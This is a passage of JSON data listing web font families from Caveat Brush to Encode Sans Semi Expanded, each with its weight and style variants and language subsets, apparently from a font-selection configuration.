700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Caveat Brush":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cedarville Cursive":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Ceviche One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Chakra Petch":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Changa":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Changa One":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Chango":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Charm":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Charmonman":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Chathura":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Chau Philomene One":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Chela One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Chelsea Market":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Chenla":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Cherish":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cherry Cream Soda":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Cherry Swash":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Chewy":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Chicle":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Chilanka":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"malayalam","name":"Malayalam"}]},"Chivo":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Chonburi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Cinzel":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cinzel Decorative":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"}]},"Clicker Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Coda":{"variants":[{"id":"400","name":"Normal 400"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Coda Caption":{"variants":[{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Codystar":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Coiny":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"},{"id":"vietnamese","name":"Vietnamese"}]},"Combo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Comfortaa":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Comforter":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Comforter Brush":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Comic Neue":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Coming Soon":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Commissioner":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Concert One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Condiment":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Content":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Contrail One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Convergence":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cookie":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Copse":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Corben":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Corinthia":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cormorant":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cormorant Garamond":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cormorant Infant":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cormorant SC":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cormorant Unicase":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cormorant Upright":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Courgette":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Courier Prime":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cousine":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Coustard":{"variants":[{"id":"400","name":"Normal 400"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"}]},"Covered By Your Grace":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Crafty Girls":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Creepster":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Crete Round":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Crimson Pro":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Croissant One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Crushed":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Cuprum":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cute Font":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Cutive":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cutive Mono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"DM Mono":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"DM Sans":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"DM Serif Display":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"DM Serif Text":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Damion":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Dancing Script":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Dangrek":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Darker Grotesque":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"David Libre":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Dawning of a New Day":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Days One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Dekko":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Dela Gothic One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek","name":"Greek"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Delius":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Delius Swash Caps":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Delius Unicase":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Della Respira":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Denk One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Devonshire":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Dhurjati":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Didact Gothic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Diplomata":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Diplomata SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Do Hyeon":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Dokdo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Domine":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Donegal One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Dongle":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Doppio One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Dorsa":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Dosis":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"DotGothic16":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Dr Sugiyama":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Duru Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Dynalight":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"EB Garamond":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Eagle Lake":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"East Sea Dokdo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Eater":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Economica":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Eczar":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"El Messiri":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Electrolize":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Elsie":{"variants":[{"id":"400","name":"Normal 400"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Elsie Swash Caps":{"variants":[{"id":"400","name":"Normal 400"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Emblema One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Emilys Candy":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Encode Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Encode Sans Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Encode Sans Expanded":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Encode Sans SC":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Encode Sans Semi Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Encode Sans Semi Expanded":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 